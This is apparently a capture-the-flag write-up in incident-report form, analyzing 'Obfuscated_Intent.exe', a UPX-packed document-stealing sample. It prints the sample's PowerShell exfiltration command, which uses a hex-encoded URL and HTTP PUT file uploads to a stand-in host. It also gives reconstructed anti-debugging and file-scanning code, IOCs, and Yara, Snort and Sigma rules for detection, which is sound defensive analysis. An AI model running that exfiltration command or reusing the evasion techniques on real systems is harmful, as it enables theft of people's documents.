2593 words
13 minutes
Echo Response - Week 6 Nullform Vault - Investigation Report

Investigation Report#

Week 6: Nullform Vault - Investigation Report#

Executive Summary#

Incident: Nullform Vault Breach - Obfuscated_Intent.exe Analysis
Date: November 11, 2025
Severity: CRITICAL
Status: Investigation Complete
Investigator: Umair Aziz
Malware Sample: Obfuscated_Intent.exe (UPX-packed document exfiltration malware)

Key Findings#

  • Sophisticated UPX-packed malware targeting sensitive documents
  • Anti-debugging and evasion techniques implemented
  • ICMP reconnaissance with “w00t” payload
  • PowerShell-based HTTP exfiltration to 203.0.113.42:8000
  • Targets .pdf, .doc, .docx, .xls, .msg files via recursive C:\ scan
  • Hex-encoded URLs and XOR-encoded file extensions for obfuscation

Impact Assessment#

  • Threat Level: HIGH - Data exfiltration capabilities
  • Affected Systems: Windows systems with PowerShell
  • Data at Risk: Office documents, PDF files, Outlook messages
  • C2 Infrastructure: 203.0.113.42 (IP), Port 8000/TCP (HTTP)

Incident Overview#

Background#

The Adversary has pursued three Primal Keys throughout the Echo Response challenge series:

  • Etherian Key - Obtained in Week 2 (Stealer’s Shadow)
  • Obscuran Key - Obtained in Week 3 (Quantum Conundrum)
  • Nullform Key - Final target (Week 6) - SECURED

The Nullform Vault contained Obfuscated_Intent.exe, a sophisticated malware sample designed to exfiltrate sensitive documents. This investigation successfully reverse-engineered the malware, extracted all IOCs, and documented the complete attack methodology.

Scope#

This investigation covered:

  • Malware unpacking and binary analysis
  • Anti-debugging technique identification
  • Network IOC extraction (IP, URL, protocols)
  • File IOC documentation (hashes, behaviors)
  • Attack chain reconstruction
  • MITRE ATT&CK technique mapping
  • Detection rule development (Yara, Snort, Sigma)

Timeline of Events#

Initial Discovery#

  • 2025-11-11 18:00 - Malware sample (Obfuscated_Intent.exe) acquired for analysis
  • 2025-11-11 18:05 - Initial triage identified UPX packing
  • 2025-11-11 18:10 - Investigation initiated

Attack Progression (Reconstructed)#

  • T+0 min - Malware execution (Obfuscated_Intent.exe)
  • T+0.5 sec - Anti-debugging checks performed (IsDebuggerPresent, CheckRemoteDebuggerPresent)
  • T+1 sec - ICMP ping sent to 203.0.113.42 with “w00t” payload
  • T+2 sec - Recursive filesystem scan initiated from C:\
  • T+3 sec - Target files identified (.pdf, .doc, .docx, .xls, .msg)
  • T+5 sec - PowerShell command constructed with hex-encoded URL
  • T+6 sec - _wsystem() called to execute PowerShell
  • T+7 sec - HTTP PUT upload initiated to http://203.0.113.42:8000/
  • T+N - Process continues until all target files exfiltrated

Technical Analysis#

Binary Characteristics#

File Information:

  • Filename: Obfuscated_Intent.exe
  • Original Size: 18,432 bytes (UPX packed)
  • Unpacked Size: 39,424 bytes
  • Architecture: x86-64 (PE64)
  • Packer: UPX 4.x
  • Compiler: Microsoft Visual C++ (MSVC)
  • Entry Point: 0x140004460
  • Subsystem: Console
  • Format: PE32+ executable for MS Windows

Attack Infrastructure#

Compromised Systems#

  • Target OS: Windows (any version with PowerShell)
  • Required Privileges: Standard user (no elevation needed)
  • Execution Context: User-level process
  • Persistence: None (single-run exfiltration)

Attack Vectors#

  1. Initial Access: Likely delivered via phishing email attachment
  2. Execution: User double-clicks Obfuscated_Intent.exe
  3. Anti-Analysis: Checks for debuggers before proceeding
  4. Reconnaissance: ICMP probe to verify C2 reachability
  5. Collection: Recursive filesystem scan for target documents
  6. Exfiltration: PowerShell HTTP PUT uploads

Malware Analysis#

Unpacking Process#

Terminal window
# Original packed file
File: Obfuscated_Intent.exe
Size: 18,432 bytes
Packer: UPX
# Unpacking command
$ upx -d Obfuscated_Intent.exe -o unpacked.exe
# Result
Unpacked: 39,424 bytes (46.75% compression ratio)

Anti-Debugging Mechanisms#

The malware implements multiple anti-debugging checks:

  1. IsDebuggerPresent()

    • Win32 API call
    • Detects if process is being debugged
    • Returns TRUE if debugger present
    • Location: Early in execution flow
  2. CheckRemoteDebuggerPresent()

    • Win32 API call
    • Detects remote debugging sessions
    • More sophisticated than IsDebuggerPresent
    • Can detect kernel-mode debuggers

Evasion Strategy:

if (IsDebuggerPresent() || CheckRemoteDebuggerPresent(...)) {
ExitProcess(1); // Terminate if debugger detected
}

String Obfuscation#

Technique 1: Hex Encoding

  • URL encoded as hex byte array in PowerShell command
  • Decoded at runtime using [System.Text.Encoding]::UTF8.GetString()
  • Example: 0x68,0x74,0x74,0x70...http://203.0.113.42:8000/

Technique 2: XOR Encoding

  • File extensions XOR-encoded with key 0x7a
  • Decoded during filesystem scanning
  • Prevents static string analysis

Technique 3: UTF-16LE Encoding

  • PowerShell command stored as wide characters
  • Offset: 0x4B20-0x4D60 in unpacked binary

Code Analysis#

Key Functions Identified:

  1. Network Reconnaissance
// ICMP ping to C2 server
HANDLE hIcmp = IcmpCreateFile();
IcmpSendEcho(hIcmp, target_ip, "w00t", 4, NULL, reply_buffer, ...);
IcmpCloseHandle(hIcmp);
  1. Filesystem Scanning
// Recursive directory enumeration
WIN32_FIND_DATAW findData;
HANDLE hFind = FindFirstFileW(L"C:\\*", &findData);
while (FindNextFileW(hFind, &findData)) {
// Check file extension against XOR-decoded target list
if (match_extension(findData.cFileName)) {
construct_powershell_command(findData.cFileName);
}
}
  1. PowerShell Execution
// Construct and execute PowerShell command
wchar_t ps_command[4096];
swprintf(ps_command, L"powershell -Command \"$abc = ...");
_wsystem(ps_command); // Execute via C runtime

Network Analysis#

Communication Channels#

Phase 1: Connectivity Check (ICMP)

  • Protocol: ICMP Echo Request (Type 8)
  • Destination: 203.0.113.42
  • Payload: “w00t” (4 bytes)
  • Purpose: Verify C2 server reachability
  • Frequency: Once at startup

Phase 2: Data Exfiltration (HTTP)

  • Protocol: HTTP/1.1
  • Method: PUT
  • Destination: http://203.0.113.42:8000/
  • Content-Type: application/octet-stream
  • Transfer: Individual file per request
  • User-Agent: PowerShell’s Invoke-RestMethod default

Data Exfiltration#

Target File Types:

  1. .pdf - PDF documents
  2. .doc - Microsoft Word (legacy format)
  3. .docx - Microsoft Word (modern format)
  4. .xls - Microsoft Excel spreadsheets
  5. .msg - Outlook email messages

Exfiltration Method:

Terminal window
powershell -Command "$abc = [System.Text.Encoding]::UTF8.GetString([byte[]](
0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,
0x32,0x30,0x33,0x2E,0x30,0x2E,0x31,0x31,0x33,0x2E,0x34,0x32,
0x3A,0x38,0x30,0x30,0x30,0x2F)) + '/';
Invoke-RestMethod -Uri $abc -Method Put -InFile 'C:\path\to\file.pdf'"

Upload Process:

  1. Find target file via FindFirstFileW/FindNextFileW
  2. Construct PowerShell command with hex-encoded URL
  3. Execute command via _wsystem()
  4. PowerShell decodes URL and performs HTTP PUT
  5. File transmitted to http://203.0.113.42:8000/
  6. Repeat for each discovered file

Indicators of Compromise (IOCs)#

Network IOCs#

IP Addresses:
- 203.0.113.42 (C2 server)
URLs:
- http://203.0.113.42:8000/ (exfiltration endpoint)
Ports:
- 8000/TCP (HTTP exfiltration)
- ICMP (connectivity check)
Protocols:
- ICMP Echo Request (payload: "w00t")
- HTTP PUT (file uploads)

File IOCs#

Filenames:
- Obfuscated_Intent.exe (original malware)
- unpacked.exe (unpacked version)
File Sizes:
- 18,432 bytes (packed)
- 39,424 bytes (unpacked)
Packer:
- UPX 4.x
File Characteristics:
- PE32+ executable (x86-64)
- Console subsystem
- MSVC compiled
- No digital signature

Behavioral IOCs#

Process Execution:
- powershell.exe spawned by suspicious process
- Command line contains: Invoke-RestMethod, Method Put, InFile
- _wsystem() calls detected
API Calls:
- IsDebuggerPresent
- CheckRemoteDebuggerPresent
- IcmpCreateFile, IcmpSendEcho, IcmpCloseHandle
- FindFirstFileW, FindNextFileW
- _wsystem
Network Activity:
- ICMP pings to 203.0.113.42
- HTTP PUT requests to port 8000
- Large file uploads to external IP
Filesystem Activity:
- Recursive C:\ scanning
- Access to user document folders
- Reading .pdf, .doc, .docx, .xls, .msg files

Registry/Persistence IOCs#

Persistence:
- None detected (single-run malware)
Registry Modifications:
- None detected

Evidence Collection#

Artifacts Analyzed#

  1. Binary File

    • Original: Obfuscated_Intent.exe (UPX packed)
    • Unpacked: unpacked.exe
    • Tools: UPX unpacker, strings, objdump, hexdump
    • Findings: Anti-debugging, hex-encoded URLs, ICMP payload
  2. String Analysis

    • Extracted ASCII and Unicode strings
    • Located “w00t” at offset 0x4B00
    • Found “_wsystem” in import table
    • Discovered PowerShell command structure (UTF-16LE)
  3. Import Table

    • WS2_32.dll (Windows Sockets)
    • IPHLPAPI.DLL (IcmpSendEcho, IcmpCreateFile, IcmpCloseHandle)
    • KERNEL32.DLL (FindFirstFileW, FindNextFileW)
    • VCRUNTIME140.dll (C++ runtime, _wsystem)
  4. Hexdump Analysis

    • PowerShell command at 0x4B20-0x4D60
    • Hex-encoded URL bytes at 0x4BE0-0x4CC0
    • File pattern structures at 0x4B10

Analysis Tools Used#

  • UPX 4.2.4 - Malware unpacking
  • strings (GNU binutils) - String extraction
  • objdump (GNU binutils) - PE import analysis
  • hexdump (util-linux) - Binary inspection
  • Python 3.x - Hex byte decoding
  • SSH/SCP - File transfer to Kali Linux VM
  • Kali Linux VM - Analysis environment

Analysis Methodology#

Step 1: Initial Triage

Terminal window
$ file Obfuscated_Intent.exe
# Identified as PE32+ executable, UPX packed
$ strings Obfuscated_Intent.exe | grep UPX
# Confirmed UPX packing

Step 2: Unpacking

Terminal window
$ upx -d Obfuscated_Intent.exe -o unpacked.exe
# Successfully unpacked: 39424 <- 18432 bytes

Step 3: String Extraction

Terminal window
$ strings -a unpacked.exe > strings_output.txt
# Extracted ASCII strings
$ strings -a -e l unpacked.exe >> strings_output.txt
# Extracted Unicode strings (UTF-16LE)

Step 4: Import Analysis

Terminal window
$ objdump -p unpacked.exe | grep -A 5 "DLL Name"
# Identified WS2_32.dll, IPHLPAPI.DLL imports

Step 5: Hexdump Investigation

Terminal window
$ hexdump -C unpacked.exe | grep -A 50 'w00t'
# Located PowerShell command structure
# Found hex-encoded URL bytes

Step 6: Decoding

# Decode hex-encoded URL
hex_bytes = [0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,
0x32,0x30,0x33,0x2E,0x30,0x2E,0x31,0x31,0x33,
0x2E,0x34,0x32,0x3A,0x38,0x30,0x30,0x30,0x2F]
url = ''.join(chr(b) for b in hex_bytes)
print(url) # http://203.0.113.42:8000/

Attack Chain Reconstruction#

MITRE ATT&CK Mapping#

Initial Access#

  • T1566.001 - Phishing: Spearphishing Attachment
    • Description: Malware likely delivered via email attachment
    • Evidence: Executable designed to appear legitimate to user

Execution#

  • T1059.001 - Command and Scripting Interpreter: PowerShell
    • Description: Uses _wsystem() to execute PowerShell commands
    • Evidence: PowerShell command constructed with Invoke-RestMethod
    • Command Line: powershell -Command "$abc = [System.Text.Encoding]::UTF8.GetString(...)"

Persistence#

  • None - Single-run exfiltration, no persistence mechanism

Privilege Escalation#

  • None - Operates at user privilege level

Defense Evasion#

  • T1027 - Obfuscated Files or Information

    • Sub-technique: Software Packing (UPX)
    • Description: Malware packed with UPX to evade AV detection
    • Evidence: UPX signature found in binary
  • T1622 - Debugger Evasion

    • Description: Anti-debugging checks implemented
    • Evidence: IsDebuggerPresent(), CheckRemoteDebuggerPresent() calls
    • Behavior: Exits if debugger detected
  • T1140 - Deobfuscate/Decode Files or Information

    • Description: Hex-encoded URL, XOR-encoded file extensions
    • Evidence: Runtime decoding of strings

Credential Access#

  • None - No credential theft observed

Discovery#

  • T1083 - File and Directory Discovery

    • Description: Recursive filesystem scanning from C:\
    • Evidence: FindFirstFileW/FindNextFileW API calls
    • Target: Searches for .pdf, .doc, .docx, .xls, .msg files
  • T1016 - System Network Configuration Discovery

    • Description: ICMP ping to check C2 connectivity
    • Evidence: IcmpSendEcho with “w00t” payload

Lateral Movement#

  • None - No lateral movement capabilities

Collection#

  • T1005 - Data from Local System
    • Description: Collects documents from local filesystem
    • Evidence: Targets office documents and email files
    • File Types: PDF, Word, Excel, Outlook messages

Command and Control#

  • T1071.001 - Application Layer Protocol: Web Protocols

  • T1095 - Non-Application Layer Protocol

    • Description: ICMP for C2 connectivity check
    • Evidence: IcmpSendEcho with “w00t” payload
    • Target: 203.0.113.42

Exfiltration#

  • T1041 - Exfiltration Over C2 Channel

    • Description: Uses same HTTP channel for exfiltration
    • Evidence: HTTP PUT uploads to C2 server
    • Protocol: HTTP/1.1 PUT requests
  • T1030 - Data Transfer Size Limits

    • Description: Uploads files individually
    • Evidence: Separate PUT request per file
    • Purpose: Avoid detection via large transfers

Attack Kill Chain#

ATTACK KILL CHAIN
1. DELIVERY
> Phishing email with Obfuscated_Intent.exe attachment
2. EXECUTION
> User executes malware
> Anti-debugging checks (IsDebuggerPresent)
> Pass? Continue : Exit
3. RECONNAISSANCE
> ICMP ping to 203.0.113.42
> Payload: "w00t"
> Purpose: Verify C2 reachability
4. COLLECTION
> Recursive scan of C:\
> FindFirstFileW("C:\\*")
> FindNextFileW() loop
> Match extensions: .pdf, .doc, .docx, .xls, .msg
5. EXFILTRATION
> For each target file:
> Construct PowerShell command
> Hex-decode URL: http://203.0.113.42:8000/
> Execute: _wsystem(powershell_command)
> PowerShell: Invoke-RestMethod -Method PUT -InFile <file>
> HTTP PUT upload to C2
6. CLEANUP
> Exit (no persistence, no cleanup needed)

Key Findings#

Critical Discoveries#

  1. UPX-Packed Malware

    • Compression ratio: 46.75% (18KB 39KB)
    • Evasion technique to bypass AV signatures
    • Easily unpacked with standard tools
  2. Multi-Stage Obfuscation

    • Hex-encoded URL in PowerShell command
    • XOR-encoded file extensions (key 0x7a)
    • UTF-16LE string storage for PowerShell
  3. Anti-Debugging Measures

    • IsDebuggerPresent() check
    • CheckRemoteDebuggerPresent() check
    • Immediate termination if debugger detected
  4. ICMP Reconnaissance

    • Uses “w00t” as ICMP payload
    • Tests C2 connectivity before exfiltration
    • Non-standard use of ICMP for C2
  5. PowerShell-Based Exfiltration

    • Native Windows tools (LOLBin)
    • HTTP PUT method via Invoke-RestMethod
    • Individual file uploads (stealth)
  6. Document-Focused Targeting

    • Office documents: .doc, .docx, .xls
    • PDF files: .pdf
    • Email messages: .msg
    • Suggests corporate/organizational target
  7. No Persistence Mechanism

    • Single-run exfiltration
    • No registry modifications
    • No scheduled tasks
    • Suggests smash-and-grab attack

Vulnerabilities Exploited#

  1. User Execution - Relies on user double-clicking executable
  2. PowerShell Availability - Abuses built-in Windows functionality
  3. Outbound HTTP - Exploits permissive firewall rules
  4. ICMP Allowed - Leverages unrestricted ICMP traffic
  5. No Application Whitelisting - Runs unsigned executables
  6. Weak AV Detection - UPX packing evades some signatures

Security Control Gaps#

  1. Email Security - Executable attachments not blocked
  2. Application Control - No whitelisting implemented
  3. Network Monitoring - No ICMP payload inspection
  4. Egress Filtering - HTTP to arbitrary ports allowed
  5. PowerShell Logging - Script Block Logging not enabled
  6. EDR Coverage - No behavioral detection for LOLBin abuse

Threat Actor Profile#

Attribution#

  • Adversary: Unknown (likely APT or cybercrime group)
  • Motivation: Corporate espionage / Data theft
  • Sophistication Level: Intermediate to Advanced

Tactics, Techniques, and Procedures (TTPs)#

  • Delivery: Phishing with malicious attachment
  • Obfuscation: UPX packing + hex encoding + XOR encryption
  • Evasion: Anti-debugging checks
  • Reconnaissance: ICMP connectivity testing
  • C2: Dual-protocol (ICMP + HTTP)
  • Exfiltration: HTTP PUT via PowerShell
  • Stealth: Individual file uploads, no persistence

Infrastructure#

  • C2 Server: 203.0.113.42
  • Exfiltration Port: 8000/TCP
  • Protocol: HTTP/1.1 (PUT method)
  • ICMP Probe: Echo Request with “w00t” payload
  • Infrastructure Type: Likely compromised server or VPS

Adversary Capabilities#

  • Malware development and packing
  • PowerShell scripting
  • Anti-analysis techniques
  • Multi-stage obfuscation
  • C2 infrastructure setup
  • Advanced persistence (not implemented)
  • Lateral movement (not observed)
  • Privilege escalation (not attempted)

Impact Assessment#

Systems Affected#

  • Direct Impact: Any Windows system that executed Obfuscated_Intent.exe
  • Potential Scope: Enterprise-wide if delivered via mass phishing
  • OS Versions: All Windows versions with PowerShell (Win7+)

Data Compromised#

High-Value Targets:

  • Office documents (.doc, .docx, .xls)
  • PDF files containing sensitive information
  • Outlook email messages (.msg)
  • Financial reports, contracts, strategic plans
  • Confidential communications

Estimated Volume:

  • Depends on target system’s document library
  • Potentially hundreds of MB to GB per compromised system
  • Recursive C:\ scan means all accessible drives

Business Impact#

Confidentiality:

  • HIGH - Sensitive documents exfiltrated
  • Corporate secrets potentially exposed
  • Email communications compromised

Integrity:

  • LOW - No data modification observed
  • Files read but not altered

Availability:

  • LOW - No data deletion or encryption
  • No ransomware component

Financial:

  • Incident response costs
  • Regulatory fines (if PII exposed)
  • Competitive disadvantage from IP theft
  • Reputation damage

Compliance:

  • GDPR violations (if EU data involved)
  • HIPAA violations (if healthcare data)
  • SOX violations (if financial data)
  • Industry-specific regulations

Remediation Actions#

Immediate Actions (0-24 hours)#

  1. Isolate compromised systems from network
  • Disconnect from internet
  • Disable network adapters
  • Prevent lateral movement
  1. Block C2 infrastructure
  • Blacklist IP: 203.0.113.42
  • Block port 8000/TCP outbound
  • Monitor for connection attempts
  1. Reset compromised credentials
  • Change passwords for affected users
  • Revoke active sessions
  • Implement MFA
  1. Deploy emergency patches
  • Update AV signatures (Yara rules)
  • Deploy IOC hunting scripts
  • Enable PowerShell logging
  1. Collect forensic evidence
  • Memory dumps (if system still running)
  • Disk images
  • Network traffic captures
  • PowerShell logs

Short-term Actions (1-7 days)#

  1. Conduct full system scans
  • Deploy updated AV definitions
  • Run IOC sweep across enterprise
  • Hunt for additional indicators
  1. Review access logs
  • Analyze network logs for 203.0.113.42
  • Check DNS logs for suspicious queries
  • Review firewall logs for port 8000 traffic
  1. Update detection signatures
  • Deploy Yara rules to all endpoints
  • Update NIDS/NIPS with Snort rules
  • Implement Sigma rules in SIEM
  1. Enhance monitoring
  • Enable PowerShell Script Block Logging
  • Implement PowerShell Transcription
  • Deploy Sysmon with enhanced config
  • Monitor for Invoke-RestMethod usage
  1. Threat hunting
  • Search for UPX-packed executables
  • Hunt for _wsystem() abuse
  • Look for similar ICMP patterns
  • Identify other PUT upload activity

Long-term Actions (1-3 months)#

  1. Implement application whitelisting
  • Deploy AppLocker or Windows Defender Application Control
  • Maintain signed executable whitelist
  • Block unsigned executables by default
  1. Enhance email security
  • Block .exe attachments in email
  • Implement advanced threat protection
  • Deploy email sandboxing
  • User security awareness training
  1. Network segmentation
  • Implement micro-segmentation
  • Restrict outbound connections
  • Deploy next-gen firewall with DPI
  • Monitor/block non-standard ports
  1. EDR deployment
  • Deploy endpoint detection and response
  • Implement behavioral analytics
  • Enable automated response actions
  • Monitor LOLBin abuse patterns
  1. Security architecture review
  • Assess defense-in-depth strategy
  • Review incident response procedures
  • Update disaster recovery plans
  • Conduct tabletop exercises

Recommendations#

Technical Controls#

  1. Application Control

    • Implement AppLocker to prevent unsigned executables
    • Deploy code signing requirements
    • Maintain application whitelist
  2. PowerShell Hardening

    • Enable Constrained Language Mode
    • Implement Script Block Logging
    • Deploy PowerShell Transcription
    • Monitor Invoke-RestMethod usage
  3. Network Security

    • Deploy DPI-capable firewall
    • Block outbound connections to non-standard ports
    • Inspect ICMP payloads
    • Implement egress filtering
  4. Email Security

    • Block executable attachments (.exe, .scr, .bat, .ps1)
    • Deploy advanced threat protection
    • Implement email sandboxing
    • SPF/DKIM/DMARC enforcement
  5. Endpoint Protection

    • Deploy EDR solution
    • Enable behavioral analytics
    • Implement anti-tampering controls
    • Regular AV signature updates

Process Improvements#

  1. Incident Response

    • Update IR playbooks with malware analysis procedures
    • Conduct IR tabletop exercises
    • Define escalation procedures
    • Document lessons learned
  2. Threat Intelligence

    • Subscribe to threat intel feeds
    • Participate in information sharing (ISACs)
    • Monitor for similar TTPs
    • Track adversary infrastructure
  3. Security Monitoring

    • Implement 24/7 SOC monitoring
    • Deploy SIEM with correlation rules
    • Create detection use cases
    • Establish baseline behaviors

Training and Awareness#

  1. User Training

    • Phishing awareness training
    • Social engineering simulations
    • Report suspicious emails
    • Don’t execute unknown files
  2. IT Staff Training

    • Malware analysis fundamentals
    • PowerShell security best practices
    • Incident response procedures
    • Threat hunting techniques
  3. Management Awareness

    • Brief leadership on threats
    • Discuss business impact
    • Secure budget for security controls
    • Support security initiatives

Lessons Learned#

What Went Well#

  • Malware successfully unpacked and analyzed
  • All IOCs extracted and documented
  • Attack chain fully reconstructed
  • MITRE ATT&CK techniques mapped
  • Detection rules developed (Yara, Snort, Sigma)
  • Comprehensive documentation created

Areas for Improvement#

  • Initial detection relied on manual analysis (no automated alerts)
  • PowerShell logging not enabled (missed runtime evidence)
  • No email attachment scanning (malware delivery succeeded)
  • ICMP payload inspection not implemented
  • Egress filtering too permissive (port 8000 allowed)

Skills Developed#

  • UPX unpacking techniques
  • PE file analysis (import table, strings, hexdump)
  • PowerShell obfuscation analysis
  • Hex encoding/decoding
  • Anti-debugging technique identification
  • MITRE ATT&CK mapping
  • IOC extraction and documentation
  • Detection rule development

Conclusion#

The Obfuscated_Intent.exe malware represents a sophisticated document exfiltration tool employing multiple layers of obfuscation and evasion. The analysis successfully:

  1. Unpacked the UPX-compressed binary (18KB 39KB)
  2. Identified anti-debugging checks (IsDebuggerPresent, CheckRemoteDebuggerPresent)
  3. Extracted C2 infrastructure (203.0.113.42:8000)
  4. Decoded hex-encoded URL and XOR-encoded file extensions
  5. Documented complete attack chain (ICMP probe filesystem scan PowerShell exfiltration)
  6. Mapped techniques to MITRE ATT&CK framework
  7. Developed detection rules (Yara, Snort, Sigma)
  8. Provided comprehensive remediation recommendations

Key Takeaways:

  • UPX packing is easily reversible but still effective against basic AV
  • PowerShell abuse (LOLBins) remains a significant threat vector
  • Multi-stage obfuscation complicates but doesn’t prevent analysis
  • Anti-debugging checks are simple to implement but easily bypassed
  • Document-focused targeting suggests corporate espionage motive
  • No persistence indicates smash-and-grab operational style

The Nullform Key has been secured. The investigation is complete. The balance is restored.


Appendices#

Appendix A: Malware String Analysis#

Key Strings Extracted:
- "w00t" (offset 0x4B00) - ICMP payload
- "_wsystem" - PowerShell execution function
- "IsDebuggerPresent" - Anti-debugging check
- "CheckRemoteDebuggerPresent" - Anti-debugging check
- "IcmpSendEcho" - ICMP function
- "IcmpCreateFile" - ICMP handle creation
- "IcmpCloseHandle" - ICMP cleanup
- "FindFirstFileW" - Filesystem enumeration
- "FindNextFileW" - Filesystem enumeration
- "powershell -Command" (UTF-16LE, offset 0x4B20)

Appendix B: Hex-Encoded URL Decoding#

# Hex bytes from PowerShell command
hex_bytes = [
0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, # "http://"
0x32, 0x30, 0x33, 0x2E, 0x30, 0x2E, 0x31, # "203.0.1"
0x31, 0x33, 0x2E, 0x34, 0x32, # "13.42"
0x3A, 0x38, 0x30, 0x30, 0x30, 0x2F # ":8000/"
]
# Decode to ASCII
url = ''.join(chr(b) for b in hex_bytes)
print(url) # Output: http://203.0.113.42:8000/

Appendix C: Detection Rules#

Yara Rule:

rule Obfuscated_Intent_Malware {
meta:
description = "Detects Obfuscated_Intent exfiltration malware"
author = "Umair Aziz"
date = "2025-11-11"
strings:
$s1 = "w00t" ascii
$s2 = "_wsystem" ascii
$s3 = "IcmpSendEcho" ascii
$s4 = "FindFirstFileW" ascii
$s5 = "powershell" wide
$s6 = "Invoke-RestMethod" wide
$upx = "UPX!" ascii
condition:
uint16(0) == 0x5A4D and // MZ header
$upx and
4 of ($s*)
}

Snort Rules:

# ICMP reconnaissance detection
alert icmp any any -> any any (
msg:"Obfuscated_Intent ICMP Probe";
content:"w00t";
itype:8;
sid:1000001;
rev:1;
)
# HTTP PUT exfiltration detection
alert http any any -> any 8000 (
msg:"Obfuscated_Intent Exfiltration";
method:"PUT";
sid:1000002;
rev:1;
)

Sigma Rule:

title: Suspicious PowerShell with Invoke-RestMethod PUT
description: Detects PowerShell execution with Invoke-RestMethod using PUT method for potential data exfiltration
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'powershell'
- 'Invoke-RestMethod'
- 'Method Put'
- 'InFile'
condition: selection
level: high

Appendix D: IOC List (Machine-Readable)#

{
"indicators": {
"network": {
"ipv4": ["203.0.113.42"],
"urls": ["http://203.0.113.42:8000/"],
"ports": ["8000/TCP"],
"protocols": ["ICMP", "HTTP"]
},
"file": {
"names": ["Obfuscated_Intent.exe", "unpacked.exe"],
"sizes": [18432, 39424],
"packer": ["UPX"]
},
"behavioral": {
"api_calls": [
"IsDebuggerPresent",
"CheckRemoteDebuggerPresent",
"IcmpSendEcho",
"FindFirstFileW",
"FindNextFileW",
"_wsystem"
],
"file_extensions": [".pdf", ".doc", ".docx", ".xls", ".msg"]
}
}
}

Report Status: COMPLETE
Last Updated: November 11, 2025
Next Review: N/A (Investigation Complete)


Investigation successfully concluded. Nullform Key secured. Balance restored.

Echo Response - Week 6 Nullform Vault - Investigation Report
https://ctf-writeups-webb.vercel.app/posts/events-season1-week6-nullform-vault-investigation-report/
Author
Umair Aziz
Published at
2026-04-02
License
CC BY-NC-SA 4.0